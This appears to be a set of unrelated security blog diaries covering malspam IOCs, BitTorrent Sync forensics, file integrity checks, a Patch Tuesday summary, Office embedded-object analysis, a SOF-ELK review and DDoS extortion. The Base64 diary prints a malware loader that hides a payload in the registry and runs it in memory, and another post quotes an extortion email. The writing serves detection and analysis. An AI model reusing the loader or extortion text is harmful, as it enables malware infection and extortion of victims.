As mentioned earlier, this malspam has appeared daily during the past two weeks or so.  I collected three for this diary:

• Date/Time:  Tuesday 2017-07-11 at 21:39 UTC
• From:  lprpxzt@host1.watutechnology.com
• Subject:  Status of your UPS delivery ID:008850576
• Attachment:  008850576.zip

• Date/Time:  Wednesday 2017-07-12 at 23:26 UTC
• From:  test@server.profichi.com.ua
• Subject:  Problems with item delivery, n.5268714
• Attachment:  UPS-Package-5268714.zip

• Date/Time:  Thursday 2017-07-13 at 07:18 UTC
• From:  vtjobs@162-144-72-168.webhostbox.net
• Subject:  UPS parcel #08192149 delivery problem
• Attachment:  UPS-Label-08192149.zip

The attachments are zip archives that contain JavaScript (.js) files as shown below.

Shown above:  Example of a malicious zip attachment and extracted .js file.

Infection traffic

Network traffic was typical for an infection by one of the .js files.  We first see HTTP requests for the NemucodAES JavaScript, followed by requests for various executables.  Then we see the post-infection Kovter traffic.  NemucodAES doesn't generate any traffic on its own.

Shown above:  Traffic from an infection on Thursday 2017-07-13 filtered in Wireshark.

Shown above:  Alerts from the infection using Suricata and the EmergingThreats ruleset on Security Onion.

Shown above:  Using Sguil, but we can escalate the Kovter alerts and review them individually.

The infected Windows host

The infected windows host opened a notification with the decryption instructions.  Encrypted files retained their original file names (no added file extensions as we often see with other ransomware).  And I found artifacts in the user's AppData\Local and AppData\Local\Temp directories.  Some of these files are not inherently malicious.  A legitimate PHP executable and DLL file were found in user's AppData\Local\Temp directory, along with the NemucodAES decryption instructions (an .hta file) and a Windows desktop background for the ransomware (a .bmp file).

Shown above:  NemucodAES decryption instructions from an infected Windows host.

Shown above:  Desktop of an infected Windows host after rebooting.

Shown above:  Artifacts from the user's AppData\Local\Temp directory.

Shown above:  Artifacts from a folder in the user's AppData\Local directory.

Indicators of Compromise (IOCs)

The following IOCs are associated with the emails and infection on Thursday 2017-07-13:

Attached zip archives:

• SHA256 hash:  1ac660f433936947ac74349ef0c0207c5e968c6d45404b6fdae2ecdd70f7c9c9
• File name:  UPS-Label-08192149.zip

• SHA256 hash:  046ac9a1a20720be5ecf031d5d9c4a3f18cee224ec00ee98bcf2c5c496adff25
• File name:  UPS-Package-5268714.zip

• SHA256 hash:  5c5e129f84cbd4a15e4dc6a5796477bacc444dcf9a3ea4473223161583430e3e
• File name:  UPS-Parcel-ID-008850576.zip

Extracted .js files:

• SHA256 hash:  70dbe9bf3d4df56ef8dadfdc0dedf3943a492b74b9588896d648d6b3325a1eff
• File name:  UPS-Label-08192149.doc.js

• SHA256 hash:  d5c9167d9bf08110e4df928c430012268f63566d291044a4a36905ce848fa046
• File name:  UPS-Package-5268714.doc.js

• SHA256 hash:  ab9c79eeb9142c12c12aa5c87542a81787b4098901af49bc74d4ddeb061d5614
• File name:  UPS-Parcel-ID-008850576.doc.js

Kovter executable (deletes itself after infection):

• SHA256 hash: a354d8590006fd3465279392086e9f4f61c303c76eb13e438cbf6cf83a6a5fc4
• File location: C:\Users\[username]\AppData\Local\Temp\1CwzGJr6w11LNjPxeN7eN4nu8KWia4aiMc2.exe

Domains used in the .js files and NemucodAES decryption instructions:

• anahata2011.ru - GET /counter [followed by long string of characters]
• b2stomatologia.pl - GET /counter [followed by long string of characters]
• bandanamedia.com - GET /counter [followed by long string of characters]
• chatawzieleni.pl - GET /counter [followed by long string of characters]
• connexion-zen.com - GET /counter [followed by long string of characters]
• dilaratahincioglu.com - GET /counter [followed by long string of characters]
• ekokond.ru - GET /counter [followed by long string of characters]
• emsp.ru - GET /counter [followed by long string of characters]
• infermierifktmatuziani.org - GET /counter [followed by long string of characters]
• infosoft.pl - GET /counter [followed by long string of characters]
• ionios-sa.gr - GET /counter [followed by long string of characters]
• it.support4u.pl - GET /counter [followed by long string of characters]
• jesionowa-dental.pl - GET /counter [followed by long string of characters]
• ongediertebestrijding.midholland.nl - GET /counter [followed by long string of characters]
• serdcezemli.ru - GET /counter [followed by long string of characters]
• snw.snellewieken.nl - GET /counter [followed by long string of characters]
• www.shiashop.com - GET /counter [followed by long string of characters]

Kovter post-infection traffic:

• 24.96.108.157 port 80 - 24.96.108.157 - POST /
• 61.134.39.188 port 80 - 61.134.39.188 - POST /
• 133.30.115.97 port 80 - 133.30.115.97 - POST /
• 135.175.22.211 port 80 - 135.175.22.211 - POST /
• Various IPs over port 80, 443, and 8080 - Encrypted traffic

Final words

Traffic and artifacts from this infection can be found here.

As mentioned earlier, with proper filtering, these emails are easily blocked.  With proper network monitoring, traffic from an infection is easily detected.  But some of these messages might slip past your filtering, and some people could possibly get infected.  With the NemucodAES decryptor, people can recover their files, but I expect this ransomware will continue to evolve.

Has one of these messages hit your inbox?  If so, please share your story in the comments section.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

[This is third guest diary by Dr. Ali Dehghantanha. You can find his first diary here and second here. If you would like to propose a guest diary, please let us know]

Continuing my earlier posts on investigation of BitTorrent Sync version 2.0, this post explains remaining artefacts of user activities in physical memory of Windows 8.1, Mac OS X Mavericks 10.9.5, and Ubuntu 14.04.1 LTS related to BitTorrent Sync version 2.0. 
Analysis of the running processes using the ‘pslist’ function of Volatility was able to recover the process name associated with the BitTorrent Sync client application (e.g., ‘BitTorrent Sync.exe’ for Windows OS, ‘BitTorrent Sync’ for Linux OS, and ‘BitTorrent Sync’ for Mac OS), which included the process identifier (PID), parent process identifiers (PPID) as well as the process initiation time; Examinations of the network details using the ‘netscan’ or ‘netstat’ function of Volatility determined that the network and socket information such as the transportation protocols used, local and remote IP addresses (including the IP addresses of the peer discovery methods used and the peer nodes), socket states, as well as the timestamp information could be recovered from the RAM (see Figure 1).

Figure 1: An excerpt of BitTorrent Sync network information recovered using the ‘netscan’ function of Volatility. 

Undertaking data carving of the RAM captures and swap files determined that only the images used by the client application and synced files could be recovered. However, a search for the term ‘btsync’ or ‘bittorrent sync’ was able to recover the complete text of the log and metadata files of forensic interest (e.g., sync.log, sync.dat, history.dat, and settings.dat) in the RAM in plain text. In cases when the original file has been deleted, a Yarascan search for the text from the remnants could help attribute the remnants to the BitTorrent Sync or other processes of relevance to identify its origin. Figure 2 illustrates an occurrence of history.dat in the memory space of ‘BitTorrent Sync.exe’ of the Windows 8.1 VM investigated. 

Figure 2: Copy of history.dat file recovered from the memory space of ‘BitTorrent Sync.exe’.

Username (login email) and password for the Linux client application’s web GUI can be detected following the strings ‘username=’ and ‘nwpwd=’ in the RAM respectively. These appeared to be remnants from the form input field of the Linux client application’s web GUI; an example is shown in Figure 3. In addition, we also located several password hits in the similar fragments containing the login email in the memory space of BitTorrent Sync.  In a real life scenario, this could potentially provide the practitioner the opportunity to extrapolate the login password from the non-dictionary or alphanumeric terms surrounding the email string in the memory space of BitTorrent Sync.

Figure 3: Username and password recovered from the RAM of Ubuntu OS.

The next post will illustrate Windows Thumbnail Cache, Registry, Prefetch Files, and Link Files artefacts of BitTorrent v2.

 

File Integrity Management or "FIM" is an interesting security control that can help to detect unusual changes in a file system. By example, on a server, they are directories that do not change often. Example with a UNIX environment:

• Binaries & libraries in /usr/lib, /usr/bin, /bin, /sbin, /usr/local/bin, ...
• Configuration files in /etc
• Devices files in /dev

Depending on the applications running on the server, we can also expect that static HTML content won't change often. The deployment of a file integrity management solution has always a cost, even if some solutions are available for free like OSSEC[1].

Basically, to perform file integrity checks, the tool of your choice will read all the files from the file system, check if the content changed, then generate an event if the file has been altered. Wait, do we already have tools that do pretty much the same? Backup scripts of course! To perform differential backups, they also have to scan the complete file system for changes. What not use the output generated by those scripts to detect suspicious changes?

Plenty of backup scripts for UNIX relies on rsync[2] which is an amazing tool with interesting options. The verbosity is extremely modular. Of course, it can display the list of all files that have been added to the backup (read: that have been changed) but it can also output the file hashes by reformating the output format with "%C":

# rsync --checksum --out-format="%n %C" ...

Note: this option is not available on all rsync version, check yours.

Based on this rsync output, you can search for suspicious changes in sensitive directories like /etc ("Why did your /etc/passwd change since the last backup?") or lookup the MD5 hashes of altered binaries against VT or any other database of IOC's. Keep this in mind!

[1] http://ossec-docs.readthedocs.io/en/latest/manual/syscheck/
[2] https://rsync.samba.org/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Today's Microsoft Patch Tuesday fixes critical and important flaws that, if exploited, could give an attacker a range of possibilities - from privilege escalation to remote code execution (RCE) - on different Windows OS and Microsoft Office versions.

One that caught my attention was the RCE which affects the Windows Search service [1] and may allow an unauthenticated attacker to take control over the target system through a SMB connection giving him the possibility to install programs, view, change or delete data or create new accounts with full user rights.

According to Microsoft Advisories, most of the vulnerabilities were privately disclosed and there is no exploit available [yet] for the most critical ones. In either case, make sure to proceed with the updates – the recent Wannacry and NotPetya outbreaks told us that maintaining critical vulnerabilities on enterprise Microsoft environments is not a healthy policy, especially when it may allow lateral movement.

I’ve summarized the flaws that I consider more important on the list below with the associated CVE, CVSS base score and advisory URLs. Before I forget, besides Microsoft vulnerabilities, there is an important Flash Player update [2].

 

CVE-2017-8590 | Windows CLFS Elevation of Privilege Vulnerability

An elevation of privilege vulnerability exists when the Windows Common Log File System (CLFS) driver improperly handles objects in memory.

In a local attack scenario, an attacker could exploit this vulnerability by running a specially crafted application to take control of the affected system. An attacker who successfully exploited this vulnerability could run processes in an elevated context.

The update addresses the vulnerability by correcting how CLFS handles objects in memory.

Note: The Common Log File System (CLFS) is a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

CVSS base: 8.8
CVE: CVE-2017-8590
Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8590

—

CVE-2017-8589 | Windows Search Remote Code Execution Vulnerability

A remote code execution vulnerability exists when Windows Search handles objects in memory. An attacker who successfully exploited this vulnerability could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

To exploit the vulnerability, the attacker could send specially crafted messages to the Windows Search service. An attacker with access to a target computer could exploit this vulnerability to elevate privileges and take control of the computer. Additionally, in an enterprise scenario, a remote unauthenticated attacker could remotely trigger the vulnerability through an SMB connection and then take control of a target computer.

The security update addresses the vulnerability by correcting how Windows Search handles objects in memory.

CVSS base: 8.1
CVE: CVE-2017-8589
Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8589

--

CVE-2017-8563 | Windows Elevation of Privilege Vulnerability

An elevation of privilege vulnerability exists in Microsoft Windows when Kerberos falls back to NT LAN Manager (NTLM) Authentication Protocol as the default authentication protocol.

In a remote attack scenario, an attacker could exploit this vulnerability by running a specially crafted application to send malicious traffic to a domain controller. An attacker who successfully exploited this vulnerability could run processes in an elevated context.

The update addresses this vulnerability by incorporating enhancements to authentication protocols designed to mitigate authentication attacks. It revolves around the concept of channel binding information.

CVE: CVE-2017-8563
CVSS base: 7.5
Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8563

—

CVE-2017-8565 | Windows PowerShell Remote Code Execution Vulnerability

A remote code execution vulnerability exists in PowerShell when PSObject wraps a CIM Instance. An attacker who successfully exploited this vulnerability could execute malicious code on a vulnerable system.

In an attack scenario, an attacker could execute malicious code in a PowerShell remote session.

The update addresses the vulnerability by correcting how PowerShell deserializes user supplied scripts.

CVE: CVE-2017-8565
CVSS base: 7.5
Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8565

—

CVE-2017-8495 | Kerberos SNAME Security Feature Bypass Vulnerability

A security feature bypass vulnerability exists in Microsoft Windows when Kerberos fails to prevent tampering with the SNAME field during ticket exchange. An attacker who successfully exploited this vulnerability could use it to bypass Extended Protection for Authentication.

To exploit this vulnerability, an attacker would have to be able to launch a man-in-the-middle (MiTM) attack against the traffic passing between a client and the server.

The update addresses this vulnerability by adding integrity protection to the SNAME field.

CVE: CVE-2017-8495
CVSS base: 7.5
Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8495

—

CVE-2017-8588 | WordPad Remote Code Execution Vulnerability

A remote code execution vulnerability exists in the way that Microsoft WordPad parses specially crafted files.

Exploitation of this vulnerability requires that a user open a specially crafted file with an affected version of Microsoft WordPad. In an email attack scenario, an attacker could exploit the vulnerability by sending a specially crafted file to the user and then convincing the user to open the file.

The update addresses the vulnerability by correcting the way that Microsoft WordPad parses specially crafted files, and by enabling API functionality in Windows that Microsoft WordPad will leverage to resolve the identified issue.

CVE: CVE-2017-8588
CVSS base: 6.7
Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8588

—

CVE-2017-8463 | Windows Explorer Remote Code Execution Vulnerability

A remote code execution vulnerability exists when Windows Explorer improperly handles executable files and shares during rename operations. An attacker who successfully exploited this vulnerability could run arbitrary code in the context of another user. Users not running as administrators would be less affected.

To exploit this vulnerability, an attacker would first share both a folder and malware named with an executable extension, and then trick the user into thinking that the malware was the folder. The attacker could not force the user to open or browse the share but could use email or instant messages to trick them into doing so.

The update addresses the vulnerability by correcting how Windows Explorer handles executable files and shares during rename operations.

CVE: CVE-2017-8463
CVSS base: 6.3
Advisory: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8463

—

ADV170009 | July Flash Security Update

This security update addresses the following vulnerabilities, which are described in Adobe Security Bulletin APSB17-21: CVE-2017-3099, CVE-2017-3080, CVE-2017-3100

Severity: Critical

Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170009

 

References

[1] https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8589

[2] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170009

--
Renato Marinho
Morphus Labs | LinkedIn | Twitter

Malicious Office documents come in all type of flavors, sometimes very simple: they contain just an embedded file (for example an EXE), without any script or exploit to automatically launch the embedded file. The user is persuaded through social engineering to extract and execute the embedded file.

Analyzing such files in a sandbox will often not reveal the malicious payload, as the sandbox engine needs to recognize and open the embedded file.

Static analysis is simple however. Let's take a docx file as example. With zipdump.py, we can see the content:

The name of file 6 is oleObject1.bin: this is an OLE file.This can be analyzed with oledump.py:

Stream A2 has an O indicator: this means that the stream contains an embedded object (OLE2). We can select the stream and query info:

From the filename (Dialog42.exe) and the header (MZ / 4D5A), we can assume the embedded file is an executable.

This is confirmed by piping the file through pecheck.py:

If you want to practice this type of analysis, it's easy to create your own samples: with Word, use command: Insert / Object / Object / Create from file ...

Inserting object like this can result in other types of documents, which I will cover in an upcoming diary.

 

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

As we recently celebrated Independence Day in the U.S., I'm reminded that we honor what was, of course, an armed conflict. Today's realities, when we think about conflict, are quite different than the days of lining troops up across the field from each other, loading muskets, and flinging balls of lead into the fray.
We live in a world of asymmetrical battles, often conflicts that aren't always obvious in purpose and intent, and likely fought on multiple fronts. For one of the best reads on the topic, take the well spent time to read TJ O'Connor's The Jester Dynamic: A Lesson in Asymmetric Unmanaged Cyber Warfare. If you're reading this post, it's possible that your front is that of 1s and 0s, either as a blue team defender, or as a red team attacker. I live in this world every day of my life as a blue teamer at Microsoft, and as a joint forces cyber network operator. We are faced, each day, with overwhelming, excessive amounts of data, of varying quality, where the answers to questions are likely hidden, but available to those who can dig deeply enough.
New platforms continue to emerge to help us in this cause. At Microsoft we have a variety of platforms that make the process easier for us, but no less arduous, to dig through the data, and the commercial sector continues to expand its offerings. For those with limited budgets and resources, but a strong drive for discovery, that have been outstanding offerings as well. Security Onion has been forefront for years, and is under constant development and improvement in the care of Doug Burks.
Another emerging platform, to be discussed here, is SOF-ELK, part of the SANS Forensics community, created by SANS FOR572, Advanced Network Forensics and Analysis author and instructor Phil Hagen. Count SOF-ELK in the NFAT family for sure, a strong player in the Network Forensic Analysis Tool category.
SOF-ELK has a great README, don't be that person, read it. It's everything you need to get started, in one place. What!? :-)
Better yet, you can download a fully realized VM with almost no configuration requirements, so you can hit the ground running. I ran my SOF-ELK instance with VMWare Workstation 12 Pro and no issues other than needing to temporarily disable Device Guard and Credential Guard on Windows 10.
SOF-ELK offers some good test data to get you started with right out of the gate, in /home/elk_user/exercise_source_logs, including Syslog from a firewall, router, converted Windows events, a Squid proxy, and a server named muse. You can drop these on your SOF-ELK server in the /logstash/syslog/ ingestion point for syslog-formatted data. Additionally, utilize /logstash/nfarch/ for archived NetFlow output, /logstash/httpd/ for Apache logs, /logstash/passivedns/ for logs from the passivedns utility, /logstash/plaso/ for log2timeline, and  /logstash/bro/ for, yeah, you guessed it.
I mixed things up a bit and added my own Apache logs for the month of May to /logstash/httpd/. The muse log set in the exercise offering also included a DNS log (named_log), for grins I threw that in the /logstash/syslog/ as well just to see how it would play.
Run down a few data rabbit holes with me, I swear I can linger for hours on end once I latch on to something to chase. We'll begin with a couple of highlights from my Apache logs. The SOF-ELK VM comes with three pre-configured dashboards including Syslog, NetFlow, and HTTPD. You can learn more in the start page for the SOF-ELK UI, my instance is http://192.168.50.110:5601/app/kibana. There are three panels, or blocks, for each dashboard's details, at the bottom of the UI. I drilled through to the HTTPD Log Dashboard for this experiment, and immediately reset the time period for analysis (click the time marker in the upper right hand part of the UI). It defaults to the last 15 minutes, if you're reviewing older data it won't show until you adjust to match your time stamps. My data is from the month of May so I selected an absolute window from the beginning of May to its end. You can also select quick or relative time options, it's great to get comfortable here quickly and early. The resulting opening visualizations for me made me very happy, as seen in Figure 1.

Figure 1: HTTPD Log Dashboard

Nice! An event count summary, source ASNs by count (you can immediately see where I scanned myself from work), a fantastic Access Source map, a records graph by HTTP verbs, and one by response codes.
The beauty of these SOF-ELK dashboards is that they're immediately interactive and allow you to drill right in to interesting data points. The holisticinfosec.org website is intentionally flat and includes no active PHP or dynamic content. As a result, my favorite response code as a web application security tester, the 500 error, is notably missing. But, in both the timeline graphs we note a big traffic spike on 8 MAY 2017, which correlates nicely with my above mention scan from work, as noted in the ASN hit count, and seen here in Figure 2.
 

Figure 2: Traffic spike from scan

This visualizes well but isn't really all that interesting or uncommon, particularly given that I know I personally ran the scan, and scans from the Intarwebs are dime a dozen. What did jump out for me though, as seen back in Figure 1, was the presence of four PUT requests. That's usually a "bad thing" where some @$$h@t is trying to drop something on my server. Let's drill in a bit, shall we? After clicking the graph line with the four PUT requests, I quickly learned that two requests came from 204.12.194.234 AS32097: WholeSale Internet in Kansas City, MO and two came from 119.23.233.9 AS37963: Hangzhou Alibaba Advertising in Hangzhou, China. This is well represented in the HTTPD Access Source panel map (Figure 3).
 

Figure 3: Access Source

The PUT request from each included a txt file attempt, specifically dbhvf99151.txt and htjfx99555.txt, both were rejected, redirected (302), and sent to my landing page (200).
Research on the IPs found that 119.23.233.9 was on the "real time suspected malware list as detected by InterServer's intrusion systems" as seen 22 MAY, and 204.12.194.234 was found twice in the AbuseIPDB, flagged on 18 MAY 2017 for Cknife Webshell Detected. Now we're talking. It's common to attempt a remote file include attack or a PUT, with what is a web shell. I opened up SOF-ELK on that IP address and found eight total hits in my logs, all looking for common PHP opportunities with the likes of GET and POST for /plus/mytag_js.php, noted in PHP injection attack attempts.
SOF-ELK made it incredibly easy to hunt down these details, as seen in Figure 4 from the HTTPD Discovery panel.

Figure 4: Discovery

That's a groovy little hunting trip through HTTPD logs, but how about a bit of Syslog? I spotted I likely oddity that could be correlated across a number of the exercise logs, we'll see if the correlation is real. You'll notice tabs at the top of your SOF-ELK UI, we'll use Discover for this experiment. I started from the Syslog Dashboard with my time range set broadly on the last two months. 7606 records presented themselves, sliced neatly by hosts and programs, as seen in Figure 5.
 

Figure 5: Syslog Dashboard

Squid proxy logs showed the predominance of host entries (6778 or 57.95% of 11,696 to be specific), so I started there. Don' laugh, but I'll often do keyword queries just to see what comes up, sometimes you land a pointer to a good rabbit hole. Within the body of 6778 proxy events, I searched malware. Two hits came back for GET request via a JS redirector to bleepingcomputer.com for your basic how-to based on "random websites opening in Chrome". Ruh-roh.

Figure 6: Malware keyword

More importantly, we have an IP address to pivot on: 10.3.59.53. A search of that IP across the same 6778 Squid logs yielded 3896 entries specific to this IP, and lots to be curious about:

• datingukrainewomen.com 
• anastasiadate.com
• YouTube videos for hair loss
• crowdscience.com for "random pop-ups driving me nuts"

Do I need to build this user profile out for you, or are you with me? Proxy logs tell us so much, and are deeply worthy of your blue team efforts to collect and review.
I jumped over to the named_log from the muse host to see what else might reveal itself. Here's where I jumped to Discover, the Splunk-like query functionality inherent to SOF-ELK (and ELK implemetations). I did reductive query to see what other oddities might surface: 10.3.59.53 AND dns_query: (*.co.uk OR *.de OR *.eu OR *.info OR *.cc OR *.online OR *.website). I used these TLDs based on the premise that bots using Domain Generation Algorithms (DGA) will often use the TLDs. See The DGA of PadCrypt to learn more, as well as ISC Diary handler John Bambanek's OSINT logic. The query results were quite satisfying, 29 hits, including a number of clearly randomly generated domains. Those that were most interesting all included the .cc TLD, so I zoomed in further. Down to five hits with 10.3.59.53 AND dns_query: *.cc, as seen in Figure 7.

Figure 7:. CC TLD hits

Oh man, not good. I had a hunch now, and went back to the proxy logs with 10.3.59.53 AND squid_request:*.exe. And there you have it, ladies and gentlemen, hunch rewarded (Figure 8).
 

Figure 8: taxdocs.exe

It taxdocs.exe isn't malware, I'm a monkey's uncle. Unfortunately, I could find no online references to these .cc domains or the .exe sample or URL, but you get the point. Given that it's exercise data, Phil may have generated it to entice to dig deeper.
When we think about the IOC patterns for Petya, a hunt like this is pretty revealing. Petya's "initial infection appears to involve a software supply-chain threat involving the Ukrainian company M.E.Doc, which develops tax accounting software, MEDoc". This is not Petya (as far as I know) specifically but we see pattern similarities for sure, one can learn a great deal about the sheep and the wolves. Be the sheepdog!
Few tools better in the free and open source arsenal to help you train and enhance your inner digital sheepdog than SOF-ELK. "I'm a sheepdog. I live to protect the flock and confront the wolf." ~ LTC Dave Grossman, from On Combat.
 

Believe it or not, there's a ton more you can do with SOF-ELK, consider this a primer and a motivator.
I LOVE SOF-ELK. Phil, well done, thank you. Readers rejoice, this is really one of my favorites for toolsmith, hands down, out of the now 126 unique tools discussed over more than ten years. Download the VM, and get to work herding. :-)
Cheers...until next time.

Russ McRee | @holisticinfosec

A few months ago, I posted a diary to explain how to search for (malicious) PE files in Base64 data[1]. Base64 is indeed a common way to distribute binary content in an ASCII form. There are plenty of scripts based on this technique. On my Macbook, I'm using a small service created via Automator to automatically decode highlighted Base64 data and submit them to my Viper instance for further analysis:

But yesterday, I found, on pastebin.com[2], a malicious WScript file with a Base64 string that did not decode. The script ended with an error "Invalid character in input stream”. I had a quick look at the script and found indeed unexpected characters randomly spread in the Base64 data:

H="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIb
gBTM~*hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ~*KJAAAAAAAAABQRQAATAEDAGGnBFkAAAAAAAAAA
OAAAgELAQsAALIAAAAIAAAAAAAAjtEAAAAgAAAA4AAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAAAgAQAAAgAAAAAAAAIAQI
UAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADTRAABXAAAAAOAAAPgEAAAAAAAAAAAAAAAAAAAAAAAAAAABAAwAAAD8zwA
AHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAA
AC5~*ZXh~*AAAAlLEAAAAgAAAAsgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAPgEAAAA4AAAAAYAAAC~*AAAAAAAAAAAAAA
AAAABAAABAL...(redacted)

If you check in the VBScript code, you'll indeed see an instruction to replace those unexpected characters from the Base64 string:

$_b=$_b.replace('~*','0’);

When just replace the string by ‘0’ as stated in the script, you get back the malicious PE file:

$ sed "s/\~\*/0/g" base64.txt | base64 -d >base64.exe
$ file base64.exe
foo.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
$ md5sum base64.exe
07be65dedbee0ef5582f0eff5dd4d804 base64.exe

The file is, of course, malicious as reported by VT[3].

Finally, a quick remark about the script itself: it uses the Windows registry to store the payload and execute it:

O.regwrite D,H,"REG_SZ"
O.Run C & chrw(34) & "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;
$_b=$_b.replace('~*','0');
[byte[]]$_0 = [System.Convert]::FromBase64String($_b);
$_1 = [System.Threading.Thread]::GetDomain().Load($_0);
$_1.EntryPoint.invoke($null,$null);" & Chrw(34),0,false

Nothing fancy here but attackers are always using small tricks to prevent (or better " to slow down") the automated analysis by security tools. Search always for functions/tools that do search/replace operations in the analyzed code. It can help to save your time. Happy hunting!

[1] https://isc.sans.edu/forums/diary/Searching+for+Base64encoded+PE+Files/22199
[2] https://pastebin.com/EhG9ZQtH
[3] https://www.virustotal.com/en/file/0e6694d37b2a424402a41bbd520bec4bc416813fa744013ba1b3eab27378a291/analysis/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

And DDoS extortion campaigns continue to be reported. Two weeks ago, Johannes Ullrich published a diary [1] about a fake DDoS pretending to be sent from Anonymous, threatening the targeted company with a massive attack if they weren’t paid in Bitcoins. Yesterday we were reported of a similar extortion campaign although, this time, followed by a real DDoS test as promised by the sender.

The threat message seems to be a copy cat of an old campaign reported last year in a blog post by CloudFlare [2]. It was signed by the same Armada Collective group, as seen below (text was partialy anonymized): 

FORWARD THIS MAIL TO WHOEVER IS IMPORTANT IN YOUR COMPANY AND CAN MAKE DECISION!
We are Armada Collective.
 
In past, we launched one of the largest attacks in Switzerland's history. Use Google.
All network of [victim’s name] will be DDoS-ed starting [date]. if you don't pay 10 Bitcoins @ [bit coin address]

When we say all, we mean all - users will not be able to use any of your services.

Right now we will start 15 minutes attack on one of your IPs ([victim’s IP address]). It will not be hard, we will not crash it at the moment to try to minimize eventual damage, which we want to avoid at this moment. It's just to prove that this is not a hoax. Check your logs!
If you don't pay by [date], attack will start, price to stop will increase to 20 BTC and will go up 10 BTC for every day of attack.
  If you report this to media and try to get some free publicity by using our name, instead of paying, attack will start permanently and will last for a long time.

This is not a joke.
Our attacks are extremely powerful - our Mirai botnet can reach over 1 Tbps per second. So, no protection will help.
Prevent it all with just 10 BTC @ [bit coin address]
Do not reply, we will probably not read. Pay and we will know its you. AND YOU WILL NEVER AGAIN HEAR FROM US!
Bitcoin is anonymous, nobody will ever know you cooperated.

Although the targeted company has actually received the DDoS test attack, there are some considerations on the way it was carried out which raise questions about the veracity of the campaign. By analyzing the DDoS test traffic, it was clear that it was sent through reflective attack using open NTP services over the Internet and not from a botnet like Mirai, as stated on the message. All the packets came from UDP/123 port (NTP service).

Regardless of the campaign reliability, it’s worth one's while to take some time and review your company’s anti-DDoS strategies. On most scenarios, a pre-established agreement with your ISP to filter out volumetric attacks can avoid unpleasant surprises and high costs during emergencies. If you already have the agreement, it would be interesting to put it to test and check if the response time is suitable to your business requirements.

Until now, we are unaware of any case of DDoS being launched after those e-mail threatening messages and there are no reasons to pay – even though there is no guarantee that the extortion will stop. 

If you received similar e-mails, please forward it to us.

References:[1] https://isc.sans.edu/forums/diary/Fake+DDoS+Extortions+Continue+Please+Forward+Us+Any+Threats+You+Have+Received/22550/
[2] https://blog.cloudflare.com/empty-ddos-threats-meet-the-armada-collective/

--
Renato Marinho
Morphus Labs | LinkedIn | Twitter

[This is a second guest diary by Dr. Ali Dehghantanha. You can find his first diary here. If you would like to propose a guest diary, please let us know]

Continuing the earlier post on the investigation of BitTorrent Sync version 2.0; this post discusses evidence that can be extracted from related log files of BitTorrent Sync version 2.0 on Windows 8.1, Mac OS X Mavericks 10.9.5, and Ubuntu 14.04.1 LTS.

BitTorrent Sync stores logs in the application folder and the filename of which is displayed as ‘sync.log’. The default log size is 100MB and can be modified by the user. When the maximum size is reached, the log file is renamed to sync.log.old, and a new sync.log file will be created. As BitTorrent Sync does not implement an encryption algorithm to secure its logs, the logs could be easily accessible using a text editor. The log file is important as it would aid in identifying BitTorrent Sync events around a specific time of the incident. Table 1 and Table 2 below summarize a list of notable log entries forensic interest from sync.log.

Table 1: Log entries of forensic interest from sync.log.

Relevance	Examples of log entries obtained in our research
Enables a practitioner to identify the BitTorrent Sync version installed on the device under investigation.	platform: Windows workstation 6.3.0 x86 version: 2.0.93
Assist the practitioner in determining the non-encoded peer ID of the device under investigation.	[2015-04-03 16:18:32] My PeerID: 103B760A3674FE44C4A512B4EF802D452F633F99
A master folder will only be created during identity creation. This potentially allows the practitioner to determine when BitTorrent Sync was first used on a device.	[2015-04-03 16:19:50] MD[init]: Master Folder: create
May assist the practitioner in determining the IP addresses used by the device under investigation.	[2015-04-03 16:18:30] Using IP address 192.168.220.176 [2015-04-03 16:31:03] Changing IP address from 192.168.220.176 to 192.168.220.143
Informs the practitioner the IP addresses used by the peer devices.	[2015-04-04 09:05:32] Incoming connection from 192.168.220.176:49734 [2015-04-03 16:51:58] SD[BBAD]: Peer 1: local IP 192.168.220.176:20566 [2015-04-03 16:51:47] SD[BBAD]: Got ping (broadcast: 1) from peer 192.168.220.176:20566 (10DEC8109E524439D9454ABE2BB1475BF7D5A2B5) Peer 1: 60.50.83.170:49449 10DEC8109E524439D9454ABE2BB1475BF7D5A2B5 [2015-04-05 08:23:56] SF[1F7E] [A2B5]: Found peer 10DEC8109E524439D9454ABE2BB1475BF7D5A2B5 192.168.220.176:49759 direct:1 transport:1 version: 2.0.93
